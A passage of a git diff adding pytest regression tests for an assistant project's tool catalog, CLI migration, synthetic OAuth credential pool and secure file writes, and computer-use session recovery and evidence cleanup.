get_email_config=lambda: effective, + skill_manager=MagicMock(get_tool_definitions=lambda: [])) + assert "email_search" in catalog.backend_hidden_names() + assert "email_search" not in {d["name"] for d in catalog.merged_definitions()} + # Conversely a desired disable does not claim a still-live backend vanished. + effective.enabled = True + desired.email.enabled = False + catalog.invalidate() + assert "email_search" not in catalog.backend_hidden_names() + assert "email_search" in {d["name"] for d in catalog.merged_definitions()} + + +@pytest.mark.parametrize("name", ["computer_session", "computer_observe", "computer_act"]) +def test_computer_disable_universe_matches_catalog_and_dispatch(name): + config = Config(discord={"token": ""}, computer={"enabled": True}, + tools={"disabled_tools": [name]}) + assert name in BUILTIN_TOOL_NAMES + assert BuiltinToolPolicy(lambda: config).is_disabled(name) + catalog = ToolCatalog(get_config=lambda: config, + skill_manager=MagicMock(get_tool_definitions=lambda: [])) + assert name not in {d["name"] for d in catalog.merged_definitions()} diff --git a/tests/test_channel_history_recency.py b/tests/test_channel_history_recency.py new file mode 100644 index 000000000..19d5b3026 --- /dev/null +++ b/tests/test_channel_history_recency.py @@ -0,0 +1,18 @@ +import json + +from src.discord.channel_logger import ChannelLogger + + +def test_cross_channel_fallback_returns_newest_independent_of_file_order(tmp_path): + logger = ChannelLogger(str(tmp_path)) + for channel, timestamp, author in [("old", 1, "alice"), ("new", 200, "alice"), + ("private", 300, "bob")]: + (tmp_path / f"{channel}.jsonl").write_text(json.dumps({ + "content": "needle", "channel_id": channel, "ts": timestamp, + "author_id": author, "author": author, + }) + "\n") + assert logger.search("needle", 1)[0]["channel_id"] == "private" + assert logger.search("needle", 1, author_id="alice")[0]["channel_id"] == "new" + assert logger.search("needle", 1, accept=lambda r: r["ts"] < 300)[0]["channel_id"] == "new" + assert logger.search("needle", 1, channel_id="old")[0]["channel_id"] == "old" + assert logger.search("needle", 0) == [] diff --git a/tests/test_chat_session.py b/tests/test_chat_session.py index 383559c78..6687dd596 100644 --- a/tests/test_chat_session.py +++ b/tests/test_chat_session.py @@ -131,7 +131,8 @@ async def test_non_admin_sees_own_scoped_sessions_only(): def _sess(): return SimpleNamespace(messages=[], estimated_tokens=0, last_active=0.0, - created_at=0.0, summary="", last_user_id="x") + created_at=0.0, summary="", summary_segments=[], + has_summary=False, last_user_id="x") bot.sessions.items_snapshot.return_value = [ ("api-user", _sess()), # own default diff --git a/tests/test_cli_migration_contract.py b/tests/test_cli_migration_contract.py new file mode 100644 index 000000000..f1fcdcf13 --- /dev/null +++ b/tests/test_cli_migration_contract.py @@ -0,0 +1,70 @@ +"""Explicit command roles and legacy upgrades are a tested package contract.""" +import tomllib +from pathlib import Path +from unittest.mock import Mock + +import pytest +import yaml + +ROOT = Path(__file__).resolve().parents[1] + + +def test_explicit_names_have_matching_roles_without_rewriting_legacy_aliases(): + project = tomllib.loads((ROOT / "pyproject.toml").read_text())["project"]["scripts"] + assert project["odin-server"] == "src.__main__:main" + assert project["odin-client"] == project["odin"] == "src.cli:main" + package = yaml.safe_load((ROOT / "packaging/nfpm.yml").read_text()) + commands = { + Path(row["dst"]).name: row["src"] for row in package["contents"] + if row.get("dst", "").startswith("/usr/local/bin/") + } + assert commands["odin-client"] == commands["odin"] == "./scripts/odin-cli.py" + assert commands["odin-server"] == "./scripts/odin-server" + guide = (ROOT / "docs/cli.md").read_text() + assert "`odin-server`" in guide and "`odin-client`" in guide + assert "old server invocation" in guide + assert "no prompt is sent" in guide + + +@pytest.mark.parametrize("implementation", ["python", "debian"]) +@pytest.mark.parametrize("arguments", [ + ["config.yml"], ["/missing/operator.yaml"], ["-c", "config.yml"], + ["--config", "operator"], ["--config=operator"], + ["--env-file", ".env"], ["--env-file=.env"], ["-coperator"], +]) +def test_server_style_client_calls_refuse_without_network( + monkeypatch, capsys, implementation, arguments, +): + import runpy + + from src import cli + + main = cli.main if implementation == "python" else runpy.run_path( + str(ROOT / "scripts/odin-cli.py"), + )["main"] + network = Mock(side_effect=AssertionError("No request may be sent")) + monkeypatch.setattr("urllib.request.urlopen", network) + monkeypatch.setattr("sys.argv", ["odin", *arguments]) + assert main() == 2 + assert "server command is now odin-server" in capsys.readouterr().err + network.assert_not_called() + + +def test_existing_custom_config_file_is_not_sent_as_a_prompt(tmp_path, monkeypatch): + from src import cli + + config = tmp_path / "operator.conf" + config.write_text("discord: {}\n") + monkeypatch.setattr("sys.argv", ["odin", str(config)]) + monkeypatch.setattr("urllib.request.urlopen", Mock(side_effect=AssertionError("network"))) + assert cli.main() == 2 + + +@pytest.mark.parametrize("arguments", [ + ["explain config.yml"], ["--token", "config.yml", "hello"], + ["--url", "http://fixture/config.yml", "hello"], ["--help"], +]) +def test_normal_client_option_values_and_prose_are_not_server_calls(arguments): + from src.cli import legacy_server_arguments + + assert not legacy_server_arguments(arguments) diff --git a/tests/test_codex_account_mutation_regressions.py b/tests/test_codex_account_mutation_regressions.py new file mode 100644 index 000000000..836756e73 --- /dev/null +++ b/tests/test_codex_account_mutation_regressions.py @@ -0,0 +1,304 @@ +"""Real pools/routes, synthetic files and event-controlled OAuth transport.""" +import asyncio +import json +from types import SimpleNamespace +from unittest.mock import AsyncMock + +import pytest +from aiohttp import web +from aiohttp.test_utils import TestClient, TestServer + +from src.llm import codex_auth as ca +from src.llm.account_key import opaque_account_key +from src.llm.codex_quota_check import CodexQuotaCheckService +from src.web.api.codex_admin import register_codex_oauth + + +def creds(account): + return {"account_id": account, "access_token": f"synthetic-{account}", + "refresh_token": f"synthetic-refresh-{account}", "expires_at": 9999999999} + + +def setup(tmp_path, rows): + path = tmp_path / "canonical.json" + path.write_text(json.dumps(rows)) + pool = ca.CodexAuthPool(str(path)) + gateway = SimpleNamespace(codex_client=SimpleNamespace(auth=pool), + reload_codex=AsyncMock()) + bot = SimpleNamespace(llm_gateway=gateway, config=SimpleNamespace( + openai_codex=SimpleNamespace(credentials_path=str(path)))) + routes = web.RouteTableDef() + register_codex_oauth(routes, bot) + app = web.Application() + app.router.add_routes(routes) + return path, pool, bot, app, routes + + +class OAuthTransport: + def __init__(self): + self.entered = asyncio.Event() + self.release = asyncio.Event() + self.calls = 0 + + def session(self, **kwargs): + transport = self + + class Response: + status = 200 + + async def __aenter__(self): + transport.calls += 1 + transport.entered.set() + await transport.release.wait() + return self + + async def __aexit__(self, *args): + pass + + async def read(self): + return json.dumps({"access_token": "synthetic-rotated", + "refresh_token": "synthetic-next", + "expires_in": 3600}).encode() + + class Session: + async def __aenter__(self): + return self + + async def __aexit__(self, *args): + pass + + def post(self, url, **kwargs): + assert url == ca.TOKEN_URL + assert kwargs["data"]["grant_type"] == "refresh_token" + return Response() + + return Session() + + +@pytest.mark.asyncio +async def test_auth_failure_clears_manual_override(tmp_path): + _, pool, *_ = setup(tmp_path, [creds("A"), creds("B")]) + await pool.set_active(0) + assert await pool.mark_auth_failed(0) + assert pool._manual_active_index is None + token, account, index = await pool.acquire() + assert (token, account, index) == ("synthetic-B", "B", 1) + assert pool._accounts[0].is_rate_limited() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("mutation", ["delete", "reorder", "reauth"]) +async def test_retired_refresh_cannot_publish_shadow_or_canonical(tmp_path, monkeypatch, mutation): + path, pool, _, app, _ = setup(tmp_path, [creds("A"), creds("B")]) + transport = OAuthTransport() + async with TestClient(TestServer(app)) as client: + monkeypatch.setattr(ca.aiohttp, "ClientSession", transport.session) + old = pool._accounts[0] + task = asyncio.create_task(old.force_refresh()) + await transport.entered.wait() + if mutation == "delete": + assert (await client.delete("/api/codex/account/0")).status == 200 + else: + rows = [creds("B"), creds("A")] if mutation == "reorder" else [ + {**creds("A"), "access_token": "synthetic-reauth"}, creds("B")] + ca._atomic_write_secure(path, json.dumps(rows)) + await pool.reload_async() + before = path.read_text() + shadow = (tmp_path / "codex_auth_0.json").read_text() + transport.release.set() + assert await task is False + assert path.read_text() == before + assert (tmp_path / "codex_auth_0.json").read_text() == shadow + await pool.reload_async() + assert path.read_text() == before + + +@pytest.mark.asyncio +async def test_admin_and_serving_share_single_use_refresh_lock(tmp_path, monkeypatch): + path, pool, _, app, _ = setup(tmp_path, [creds("A")]) + transport = OAuthTransport() + async with TestClient(TestServer(app)) as client: + monkeypatch.setattr(ca.aiohttp, "ClientSession", transport.session) + original_refresh = pool.force_refresh + admin_admitted = asyncio.Event() + + async def observed_refresh(index, stale_token=None): + if stale_token == "synthetic-A": + admin_admitted.set() + return await original_refresh(index, stale_token) + + foreground = asyncio.create_task(pool.force_refresh(0, "synthetic-A")) + await transport.entered.wait() + monkeypatch.setattr(pool, "force_refresh", observed_refresh) + admin = asyncio.create_task(client.post("/api/codex/account/0/refresh")) + await asyncio.wait_for(admin_admitted.wait(), 5) + transport.release.set() + assert await foreground + assert (await admin).status == 200 + assert transport.calls == 1 + assert json.loads(path.read_text())[0]["refresh_token"] == "synthetic-next" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("single_format", [False, True]) +async def test_unchanged_reload_keeps_single_use_refresh_in_flight( + tmp_path, monkeypatch, single_format, +): + path, pool, *_ = setup(tmp_path, [creds("A")]) + if single_format: + path.write_text(json.dumps(creds("A"))) + await pool.reload_async() + transport = OAuthTransport() + monkeypatch.setattr(ca.aiohttp, "ClientSession", transport.session) + auth = pool._accounts[0] + serving = asyncio.create_task(pool.force_refresh(0, "synthetic-A")) + await transport.entered.wait() + await pool.reload_async() + assert pool._accounts[0] is auth + concurrent = asyncio.create_task(pool.force_refresh(0, "synthetic-A")) + transport.release.set() + assert await serving and await concurrent + assert transport.calls == 1 + raw = json.loads(path.read_text()) + assert (raw if single_format else raw[0])["refresh_token"] == "synthetic-next" + + +@pytest.mark.asyncio +async def test_reauth_same_identity_older_expiry_does_not_revive_shadow(tmp_path): + path, pool, *_ = setup(tmp_path, [creds("A")]) + newer = {**creds("A"), "access_token": "synthetic-reauth", "expires_at": 5000} + path.write_text(json.dumps([newer])) + await pool.reload_async() + assert pool._accounts[0]._load() == newer + assert json.loads(path.read_text()) == [newer] + + +@pytest.mark.asyncio +async def test_cancelled_admin_settles_rotated_credentials(tmp_path, monkeypatch): + path, pool, _, _, routes = setup(tmp_path, [creds("A")]) + handler = next(route.handler for route in routes + if route.path == "/api/codex/account/{index}/refresh") + transport = OAuthTransport() + monkeypatch.setattr(ca.aiohttp, "ClientSession", transport.session) + request = SimpleNamespace(match_info={"index": "0"}) + task = asyncio.create_task(handler(request)) + await transport.entered.wait() + task.cancel() + await asyncio.sleep(0) + assert not task.done() + transport.release.set() + with pytest.raises(asyncio.CancelledError): + await task + assert json.loads(path.read_text())[0]["refresh_token"] == "synthetic-next" + assert pool._accounts[0]._load()["refresh_token"] == "synthetic-next" + + +@pytest.mark.asyncio +async def test_device_merged_write_failure_preserves_pool(tmp_path, monkeypatch): + path, _, bot, app, _ = setup(tmp_path, [creds("A"), creds("B")]) + original = path.read_text() + monkeypatch.setattr(ca.CodexAuth, "poll_device_auth", AsyncMock(return_value=creds("C"))) + calls = [] + + def fail(path, content): + calls.append(content) + raise OSError("synthetic filesystem failure") + + monkeypatch.setattr(ca, "_atomic_write_secure", fail) + async with TestClient(TestServer(app)) as client: + response = await client.post("/api/codex/device-poll", json={ + "device_auth_id": "synthetic", "user_code": "synthetic"}) + assert response.status == 500 + assert len(calls) == 1 + assert path.read_text() == original + bot.llm_gateway.reload_codex.assert_not_awaited() + + +@pytest.mark.asyncio +@pytest.mark.parametrize("operation", ["label", "delete", "reauth"]) +@pytest.mark.parametrize("invalid", [{}, None, "invalid"]) +async def test_management_uses_displayed_valid_index(tmp_path, monkeypatch, operation, invalid): + path, pool, _, app, _ = setup(tmp_path, [creds("A"), invalid, creds("B")]) + async with TestClient(TestServer(app)) as client: + status = await (await client.get("/api/codex/status")).json() + assert [row["account_id"] for row in status["accounts"]] == ["A", "B"] + if operation == "label": + response = await client.put("/api/codex/account/1/label", json={"label": "second"}) + elif operation == "delete": + response = await client.delete("/api/codex/account/1") + else: + monkeypatch.setattr(ca.CodexAuth, "poll_device_auth", + AsyncMock(return_value={**creds("B"), "access_token": "new-B"})) + response = await client.post("/api/codex/device-poll", json={ + "device_auth_id": "synthetic", "user_code": "synthetic", "save_index": 1}) + assert response.status == 200 + rows = json.loads(path.read_text()) + assert rows[0] == creds("A") and rows[1] == invalid + if operation == "label": + assert rows[2]["label"] == "second" + assert pool._accounts[1]._load()["label"] == "second" + elif operation == "delete": + assert len(rows) == 2 and pool.account_count == 1 + else: + assert rows[2]["access_token"] == "new-B" + + +@pytest.mark.asyncio +@pytest.mark.parametrize("mutation", ["shrink", "reorder"]) +@pytest.mark.parametrize("phase", ["token", "response", "token_error", "response_error"]) +async def test_in_place_quota_reload_fenced_across_awaits(tmp_path, mutation, phase): + path, pool, *_ = setup(tmp_path, [creds("A"), creds("B")]) + service = CodexQuotaCheckService(lambda: pool) + entered, release = asyncio.Event(), asyncio.Event() + original_token_for = pool.token_for + + async def token_for(index): + token = await original_token_for(index) + if phase.startswith("token"): + entered.set() + await release.wait() + if phase.endswith("error"): + raise RuntimeError("synthetic refresh failure") + return token + + pool.token_for = token_for + + class Response: + status = 401 + headers = {"x-codex-primary-used-percent": "25", + "x-codex-primary-window-minutes": "300"} + + async def __aenter__(self): + entered.set() + await release.wait() + if phase.endswith("error"): + raise RuntimeError("synthetic request failure") + return self + + async def __aexit__(self, *args): + pass + + class Session: + closed = False + calls = 0 + + def post(self, *args, **kwargs): + self.calls += 1 + return Response() + + async def close(self): + self.closed = True + + session = Session() + service._session = session + task = asyncio.create_task(service.check_once()) + await entered.wait() + path.write_text(json.dumps([] if mutation == "shrink" else [creds("B"), creds("A")])) + await pool.reload_async() + release.set() + await task + assert pool._quota_check_failures == {} + assert pool.quota.snapshot_for(opaque_account_key("A")) is None + assert pool.quota.snapshot_for(opaque_account_key("B")) is None + assert session.calls == (0 if phase.startswith("token") else 1) + await service.close() diff --git a/tests/test_codex_credential_writes.py b/tests/test_codex_credential_writes.py new file mode 100644 index 000000000..1f50032de --- /dev/null +++ b/tests/test_codex_credential_writes.py @@ -0,0 +1,90 @@ +"""Synthetic filesystem regressions for credential publication and manual login.""" +import json +import os +import stat + +import pytest + +from scripts.codex_login import _save_creds +from src.llm import codex_auth as ca + + +def test_secure_writer_ignores_preexisting_unsafe_temp(tmp_path, monkeypatch): + path = tmp_path / "accounts.json" + unsafe = path.with_suffix(".tmp") + unsafe.write_text("unrelated") + unsafe.chmod(0o644) + real_write = os.write + + def checked_write(fd, data): + assert stat.S_IMODE(os.fstat(fd).st_mode) == 0o600 + return real_write(fd, data) + + monkeypatch.setattr(ca.os, "write", checked_write) + ca._atomic_write_secure(path, '{"synthetic": true}') + assert stat.S_IMODE(path.stat().st_mode) == 0o600 + assert unsafe.read_text() == "unrelated" + + +def test_secure_writer_completes_short_writes(tmp_path, monkeypatch): + path = tmp_path / "accounts.json" + real_write = os.write + monkeypatch.setattr(ca.os, "write", lambda fd, data: real_write(fd, data[:5])) + ca._atomic_write_secure(path, json.dumps({"synthetic": "long value"})) + assert json.loads(path.read_text()) == {"synthetic": "long value"} + + +@pytest.mark.parametrize("failure", ["zero", "error"]) +def test_secure_writer_failure_preserves_destination(tmp_path, monkeypatch, failure): + path = tmp_path / "accounts.json" + path.write_text("old") + + def fail(fd, data): + if failure == "error": + raise OSError("synthetic failure") + return 0 + + monkeypatch.setattr(ca.os, "write", fail) + with pytest.raises(OSError): + ca._atomic_write_secure(path, "new") + assert path.read_text() == "old" + assert list(tmp_path.iterdir()) == [path] + + +def test_manual_login_adds_and_deduplicates_accounts(tmp_path): + path = tmp_path / "accounts.json" + a = {"account_id": "A", "access_token": "synthetic-A", "label": "first"} + b = {"account_id": "B", "access_token": "synthetic-B"} + path.write_text(json.dumps([a, b])) + c = {"account_id": "C", "access_token": "synthetic-C"} + _save_creds(c, path) + rows = json.loads(path.read_text()) + assert rows[:2] == [a, b] + assert {key: value for key, value in rows[2].items() if key != "_authorization_revision"} == c + assert rows[2]["_authorization_revision"] + _save_creds({"account_id": "A", "access_token": "synthetic-new"}, path) + rows = json.loads(path.read_text()) + assert len(rows) == 3 and rows[0]["label"] == "first" + assert rows[0]["access_token"] == "synthetic-new" + assert stat.S_IMODE(path.stat().st_mode) == 0o600 + + +def test_manual_login_secure_before_first_write(tmp_path, monkeypatch): + real_write = os.write + + def checked_write(fd, data): + assert stat.S_IMODE(os.fstat(fd).st_mode) == 0o600 + return real_write(fd, data) + + monkeypatch.setattr(ca.os, "write", checked_write) + _save_creds({"access_token": "synthetic"}, tmp_path / "new.json") + + +def test_manual_login_write_failure_preserves_pool(tmp_path, monkeypatch): + path = tmp_path / "accounts.json" + path.write_text('[{"access_token": "synthetic-A"}]') + original = path.read_text() + monkeypatch.setattr(ca.os, "write", lambda fd, data: 0) + with pytest.raises(OSError): + _save_creds({"access_token": "synthetic-B"}, path) + assert path.read_text() == original diff --git a/tests/test_codex_quota_check.py b/tests/test_codex_quota_check.py index 4b4c22ec5..92d4afbf2 100644 --- a/tests/test_codex_quota_check.py +++ b/tests/test_codex_quota_check.py @@ -18,6 +18,7 @@ class Pool: account_count = 3 + generation = 1 def __init__(self): self.quota = CodexQuotaTracker(clock=lambda: 1000) diff --git a/tests/test_computer_api_recovery_r18.py b/tests/test_computer_api_recovery_r18.py index 4260a4a5a..9124e9487 100644 --- a/tests/test_computer_api_recovery_r18.py +++ b/tests/test_computer_api_recovery_r18.py @@ -33,6 +33,41 @@ async def operator_reconcile(self, acknowledgment, **kwargs): "complete": False}} +@pytest.mark.parametrize("state,next_action", [ + ("fresh_target_required", "inventory_then_start_with_recovery_session_id_and_fresh_target"), + ("operator_release_required", "operator_reconcile_then_fresh_target_and_new_session"), + ("native_reconciled", "inventory_then_start_with_recovery_session_id_and_fresh_target"), +]) +async def test_native_recovery_status_preserves_distinct_safe_guidance(state, next_action): + class NativeStatus(RecoveryController): + async def operator_status(self, **actor): + result = await super().operator_status(**actor) + result["recovery"].update( + status=state, reason="native_continuity_lost", released=False, + resources_retired=state != "operator_release_required", + runtime_qualified=state == "fresh_target_required", unknown_release=True, + receiver_release_verified=False, continuation_cancelled=False, + native_owner={"private": "must-not-escape"}, owner_digest="must-not-escape") + result["native_reconciliation"] = { + "phase": "native_continuity_lost", "reason": "native_continuity_lost", + "required": state != "native_reconciled", "authorizes_input": False, + "replay_allowed": False, "receiver_release_verified": False, + "next_action": next_action, "task_hints": {"goal": "must-not-escape"}} + return result + + async with client(NativeStatus()) as c: + response = await c.get("/api/computer") + assert response.status == 200 + result = await response.json() + assert result["recovery"]["status"] == state + assert result["recovery"]["reason"] == "native_continuity_lost" + assert result["recovery"]["released"] is False + assert result["recovery"]["unknown_release"] is True + assert result["native_reconciliation"]["next_action"] == next_action + assert result["native_reconciliation"]["authorizes_input"] is False + assert "must-not-escape" not in str(result) + + def body_for(route): body = {"session_id": "computer-session", "generation": 8} if route != "recover": diff --git a/tests/test_computer_app_profiles_r6.py b/tests/test_computer_app_profiles_r6.py index f0d4c1ba4..22a2ef354 100644 --- a/tests/test_computer_app_profiles_r6.py +++ b/tests/test_computer_app_profiles_r6.py @@ -37,6 +37,36 @@ def test_isolated_profiles_unchanged(): assert profile["input"] == "supported" +@pytest.mark.parametrize("runtime_sudo", [False, True]) +def test_isolated_preflight_requires_only_used_sudo(monkeypatch, runtime_sudo): + from src.computer.runtime.profile import launch_argv, preflight + + monkeypatch.setattr(os, "access", lambda path, mode: path != "/usr/bin/sudo") + argv = launch_argv("a" * 32, "drawing", runtime_sudo=runtime_sudo) + assert ("/usr/bin/sudo" in argv) is runtime_sudo + if runtime_sudo: + with pytest.raises(RuntimeError, match="unavailable: sudo"): + preflight("drawing", runtime_sudo=runtime_sudo) + else: + preflight("drawing", runtime_sudo=runtime_sudo) + + +@pytest.mark.parametrize("runtime_sudo", [False, True]) +async def test_isolated_backend_start_uses_configured_preflight(monkeypatch, runtime_sudo): + from src.computer.runtime.backend import LinuxDesktopBackend + + monkeypatch.setattr(os, "access", lambda path, mode: path != "/usr/bin/sudo") + backend = LinuxDesktopBackend(enabled=True, runtime_sudo=runtime_sudo) + + def inert_descriptor(_): + raise RuntimeError("past preflight, no native launch") + + monkeypatch.setattr(backend, "startup_descriptor", inert_descriptor) + message = "unavailable: sudo" if runtime_sudo else "past preflight, no native launch" + with pytest.raises(RuntimeError, match=message): + await backend.start("a" * 32) + + def app_scope(monkeypatch, profile, wm_class): # profile is only a legacy test-fixture label, never passed to scope. display = Display() diff --git a/tests/test_computer_campaign_absence_resolution.py b/tests/test_computer_campaign_absence_resolution.py new file mode 100644 index 000000000..dd706e2a6 --- /dev/null +++ b/tests/test_computer_campaign_absence_resolution.py @@ -0,0 +1,54 @@ +"""Real SQLite resolution/reopen, no native sessions or input.""" +# ruff: noqa: F811 - imported pytest fixture. +import pytest + +from src.computer.store import ComputerStore +from tests.test_hyprland_absence_store import absence, pending, record # noqa: F401 +from tests.test_hyprland_durable_reconnect import durable # noqa: F401 + + +@pytest.mark.parametrize("resolution", ["attestation", "cancelled_attestation", "absence"]) +def test_qualified_absence_resolution_is_valid_on_reopen(pending, tmp_path, resolution): + store, _, grant, owner = pending + record(store, grant, owner) + if resolution == "cancelled_attestation": + store.cancel_hyprland_continuation(grant.session_id) + acknowledged = resolution != "absence" + result = ({"status": "operator_acknowledged_unverified", + "reason": "operator_verified_external_cleanup", + "recorded_processes_absent": True, "operator_id": "owner"} + if acknowledged else {"status": "absence_verified", "reason": "owned_runtime_gone"}) + resolved = store.finish_recovery(grant, result, acknowledged=acknowledged) + expected_state = "quarantined" if resolution == "attestation" else "closed" + assert resolved.state == expected_state + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened.get_session(grant.session_id).state == expected_state + assessment = reopened._hyprland_recovery_record(grant.session_id) + assert not assessment["runtime_qualified"] + assert assessment["qualified_absence_history"]["retirement_evidence"] == absence(owner) + assert "retirement_evidence" not in assessment + public = reopened.recovery_status(grant.session_id) + assert "qualified_absence_history" not in public + assert public["released"] is False and public["receiver_release_verified"] is False + finally: + reopened.close() + + +def test_absence_history_remains_valid_after_pending_fence_is_archived( + pending, tmp_path, monkeypatch): + store, _, grant, owner = pending + record(store, grant, owner) + closed = store.finish_recovery(grant, {"status": "absence_verified"}) + # Local cleanup qualification is a separate seam; the real transaction + # archives the full pending record, which must still bind absence history. + monkeypatch.setattr(store, "_local_cleanup_verified", lambda *args: True) + store.resolve_closed_local_recovery(closed) + assert store.get_recovery_pending(grant.session_id) is None + reopened = ComputerStore(tmp_path / "db", tmp_path / "evidence") + try: + assert reopened._hyprland_recovery_record(grant.session_id)[ + "qualified_absence_history"]["retirement_evidence"] == absence(owner) + reopened._validate_current_schema() + finally: + reopened.close() diff --git a/tests/test_computer_campaign_cache_retirement.py b/tests/test_computer_campaign_cache_retirement.py new file mode 100644 index 000000000..f1ddc50e2 --- /dev/null +++ b/tests/test_computer_campaign_cache_retirement.py @@ -0,0 +1,77 @@ +"""Pure fake inventories and native adapters; no desktop or live sessions.""" +import asyncio +from types import SimpleNamespace +from unittest.mock import AsyncMock + +from src.computer.controller import ComputerController +from src.computer.models import BackendCapabilities, RequestContext +from src.computer.store import ComputerStore +from tests.test_computer_contract_r1 import Stub + + +async def test_repeated_unused_inventory_expires_private_proof_and_close_clears(tmp_path): + now = [0.0] + store = ComputerStore(tmp_path / "db", tmp_path / "evidence") + backend = SimpleNamespace( + capabilities=BackendCapabilities("wayland", "existing_session", backend="hyprland"), + inventory_targets=AsyncMock(return_value={"candidate_epoch": 1, "candidates": [ + {"id": "private-native-id", "label": "fixture", "output_id": "output"}]}), + export_selection_proof=lambda _: {"private": "proof"}, close=AsyncMock()) + controller = ComputerController(store, lambda _: backend, lambda _: True, + enabled=True, monotonic=lambda: now[0]) + context = RequestContext("owner", "channel", "turn", "host") + for _ in range(6): + await controller.session(context, {"operation": "inventory_targets"}) + assert len(controller._selection_bindings) == 1 + now[0] += 1000 + await controller.close() + assert not controller._selection_bindings + store.close() + + +async def test_clean_terminal_stop_retires_all_caches(tmp_path): + store = ComputerStore(tmp_path / "db", tmp_path / "evidence") + controller = ComputerController(store, lambda _: Stub(), lambda _: True, enabled=True) + context = RequestContext("owner", "channel", "turn", "host") + result = await controller.session(context, {"operation": "start", "app": "drawing"}) + sid = result["session_id"] + controller._hyprland_contexts[sid] = context + controller._hyprland_bindings[sid] = {"private": "binding"} + controller._hyprland_recovery_epochs[sid] = 1 + controller._x11_focus_candidates[sid] = ("observation", "private") + stopped = await controller._stop(sid, "closed") + assert stopped["state"] == "closed" + await asyncio.sleep(0) + for cache in (controller._live, controller._stop_locks, controller._stops, + controller._hyprland_contexts, controller._hyprland_bindings, + controller._hyprland_recovery_epochs, controller._x11_focus_candidates): + assert sid not in cache + await controller.close() + store.close() + + +async def test_terminal_lock_identity_survives_queued_waiter_and_worker(tmp_path): + store = ComputerStore(tmp_path / "db", tmp_path / "evidence") + controller = ComputerController(store, None, lambda _: True, enabled=True) + context = RequestContext("owner", "channel", "turn", "host") + grant = store.create_session(context, "drawing") + store.set_state(grant.session_id, "closed") + sid = grant.session_id + lock = controller._stop_locks[sid] = asyncio.Lock() + await lock.acquire() + waiter = asyncio.create_task(lock.acquire()) + await asyncio.sleep(0) + lock.release() + controller._prune_caches() + assert controller._stop_locks[sid] is lock + await waiter + lock.release() + worker = asyncio.create_task(asyncio.sleep(0)) + controller._recoveries[sid] = worker + controller._prune_caches() + assert controller._stop_locks[sid] is lock + await worker + controller._recoveries.pop(sid) + controller._prune_caches() + assert sid not in controller._stop_locks + store.close() diff --git a/tests/test_computer_campaign_orphans.py b/tests/test_computer_campaign_orphans.py new file mode 100644 index 000000000..96f47e468 --- /dev/null +++ b/tests/test_computer_campaign_orphans.py @@ -0,0 +1,102 @@ +"""Disposable synthetic bytes only; crash before SQLite publication.""" +import multiprocessing +import os +import threading +import uuid + +import pytest + +from src.computer.models import RequestContext +from src.computer.store import ComputerStore + + +def crash_writer(db, directory, session_id): + store = ComputerStore(db, directory) + real_fsync = os.fsync + + def crash_after_fsync(fd): + real_fsync(fd) + os._exit(0) + + os.fsync = crash_after_fsync + store.put_evidence(session_id, b"private synthetic fixture") + + +@pytest.mark.parametrize("operation", ["prune", "purge_evidence"]) +def test_crash_orphan_removed_but_operator_files_preserved(tmp_path, operation): + db, directory = tmp_path / "db", tmp_path / "evidence" + store = ComputerStore(db, directory) + context = RequestContext("owner", "channel", "turn", "host") + grant = store.create_session(context, "drawing") + tracked = store.put_evidence(grant.session_id, b"tracked synthetic fixture") + process = multiprocessing.get_context("fork").Process( + target=crash_writer, args=(db, directory, grant.session_id)) + process.start() + process.join(5) + assert process.exitcode == 0 + orphans = set(os.listdir(directory)) - {tracked} + assert len(orphans) == 1 + operator = directory / "operator-notes.txt" + operator.write_bytes(b"operator file") + unsafe = directory / uuid.uuid4().hex + unsafe.write_bytes(b"non-private unrelated file") + unsafe.chmod(0o644) + link = directory / uuid.uuid4().hex + link.symlink_to(operator) + getattr(store, operation)() + assert not any((directory / name).exists() for name in orphans) + assert operator.read_bytes() == b"operator file" + assert unsafe.exists() and link.is_symlink() + assert (directory / tracked).exists() is (operation == "prune") + store.close() + + +def test_orphan_sweep_waits_for_other_store_unpublished_writer(tmp_path, monkeypatch): + db, directory = tmp_path / "db", tmp_path / "evidence" + writer = ComputerStore(db, directory) + sweeper = ComputerStore(db, directory) + grant = writer.create_session(RequestContext("owner", "channel", "turn", "host"), "drawing") + file_ready, allow_commit, sweep_started, sweep_finished = (threading.Event() for _ in range(4)) + errors, published = [], [] + real_fsync = os.fsync + + def paused_fsync(fd): + real_fsync(fd) + file_ready.set() + assert allow_commit.wait(5) + + monkeypatch.setattr(os, "fsync", paused_fsync) + + def write(): + try: + published.append(writer.put_evidence(grant.session_id, b"unpublished private fixture")) + except BaseException as exc: + errors.append(exc) + + def sweep(): + sweep_started.set() + try: + sweeper.prune() + except BaseException as exc: + errors.append(exc) + finally: + sweep_finished.set() + + writing = threading.Thread(target=write) + writing.start() + assert file_ready.wait(5) + pruning = threading.Thread(target=sweep) + pruning.start() + assert sweep_started.wait(5) + try: + assert not sweep_finished.wait(0.1) + finally: + allow_commit.set() + writing.join(5) + pruning.join(5) + assert not writing.is_alive() and not pruning.is_alive() and not errors + assert sweeper.read_evidence( + RequestContext("owner", "channel", "turn", "host"), published[0])[0] == ( + b"unpublished private fixture") + writer.close() + sweeper.close() diff --git a/tests/test_computer_emergency_release_campaign.py b/tests/test_computer_emergency_release_campaign.py new file mode 100644 index 000000000..cd9ee2df5 --- /dev/null +++ b/tests/test_computer_emergency_release_campaign.py @@ -0,0 +1,156 @@ +"""Emergency ledger release resolves input uncertainty without desktop IO.""" + +from dataclasses import replace +from unittest.mock import AsyncMock + +import pytest + +from src.computer.models import ComputerError +from src.computer.store import ComputerStore +from tests.test_computer_hyprland_turnloop_r33 import action, call, observe, start +from tests.test_computer_hyprland_turnloop_r33 import normal as normal +from tests.test_computer_operator_auth_r5 import bound_operator +from tests.test_hyprland_recovery_controller import rig as rig + + +def incident(store, grant, phase="unknown_release"): + return store.begin_hyprland_reconciliation( + grant, phase=phase, reason=phase, + old_grant={"generation": grant.generation, + "consent_generation": grant.consent_generation, + "task_hints": {"goal": "draw"}, "authorizes_input": False, + "recovery_command_id": "a" * 32}) + + +async def test_unknown_release_can_close_and_continue_with_new_consent(normal): + grant = await start(normal) + await observe(normal, grant) + old = action(normal, grant) + controller = normal.service.controller + store = controller.store + sid = grant["session_id"] + pending_grant = incident(store, store.get_session(sid)) + with bound_operator(normal.bot, "alice", "browser"): + result = await normal.manager.operator_release_owned_input( + session_id=sid, generation=pending_grant.generation, + owner_id="alice", web_session_id="browser") + assert result["state"] == "paused" + assert result["recovery"]["status"] == 